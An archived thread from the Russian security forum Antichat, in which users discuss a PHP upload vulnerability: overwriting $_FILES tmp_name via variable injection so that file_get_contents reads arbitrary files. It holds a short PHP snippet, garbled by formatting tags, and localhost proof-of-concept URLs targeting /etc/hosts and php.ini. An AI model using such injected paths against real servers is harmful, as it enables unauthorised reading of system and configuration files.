Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)
-   -   Уязвимость в уплоадерах (https://forum.antichat.xyz/showthread.php?t=449105)

Octavian 10.03.2017 18:14

Читал книгу наткнулся на это попробовал уязвимость на практике но ничего не вышло

Что имел ввиду автор? Ведь название временного файла генерируется автоматически и даже если мы откроем скрипт словим POST и вместо названия напишем etc/passwd ничего не произойдет! http://uploads.ru/94nJd.jpg

http://s3.uploads.ru/t/94nJd.jpg

crlf 10.03.2017 18:27

Большая часть текста взята из мана PHP. Смею предположить, что имеется в виду какой-то частный случай типа extract, $$val или register_globals=On.

VY_CMa 10.03.2017 18:34

Цитата:

Сообщение от None
Ведь название временного файла генерируется автоматически

При возможности перезаписи значений переменных возможна атака.

@crlf прав.

Начинка https://github.com/php/php-src/blob/...ctions.c#L5808

crlf 10.03.2017 18:34

Пример:

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"]) {
[/
COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'name'[/COLOR][COLOR="#007700"]];
[/
COLOR][COLOR="#0000BB"]$type[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'type'[/COLOR][COLOR="#007700"]];
[/
COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'tmp_name'[/COLOR][COLOR="#007700"]]);
[/
COLOR][COLOR="#0000BB"]$send[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"--[/COLOR][COLOR="#0000BB"]$boundary[/COLOR][COLOR="#DD0000"]\r\nContent-Disposition: form-data; name=\"[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#DD0000"]\"; filename=\"[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#DD0000"]\"\r\nContent-Type:[/COLOR][COLOR="#0000BB"]$type[/COLOR][COLOR="#DD0000"]\r\n\r\n"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"];
}
echo[/
COLOR][COLOR="#0000BB"]$send[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]?>
[/COLOR]
[/COLOR] 

http://localhost/test.php?_FILES[][tmp_name]=/etc/hosts

Octavian 10.03.2017 18:52

Цитата:

Сообщение от crlf
crlf said:

Пример:
PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"]) {
[/
COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'name'[/COLOR][COLOR="#007700"]];
[/
COLOR][COLOR="#0000BB"]$type[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'type'[/COLOR][COLOR="#007700"]];
[/
COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$value[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'tmp_name'[/COLOR][COLOR="#007700"]]);
[/
COLOR][COLOR="#0000BB"]$send[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"--[/COLOR][COLOR="#0000BB"]$boundary[/COLOR][COLOR="#DD0000"]\r\nContent-Disposition: form-data; name=\"[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#DD0000"]\"; filename=\"[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#DD0000"]\"\r\nContent-Type:[/COLOR][COLOR="#0000BB"]$type[/COLOR][COLOR="#DD0000"]\r\n\r\n"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"];
}
echo[/
COLOR][COLOR="#0000BB"]$send[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]?>
[/COLOR]
[/COLOR] 

http://localhost/test.php?_FILES[][tmp_name]=/etc/hosts

У меня на локалке не пашет

http://localhost/test.php?$_FILES[][tmp_name]=/php/php.ini

crlf 10.03.2017 20:04

Nginx + PHP 5.6 нормально отрабатывает. В каком окружении проверяешь? Варнинги есть?


Время: 05:02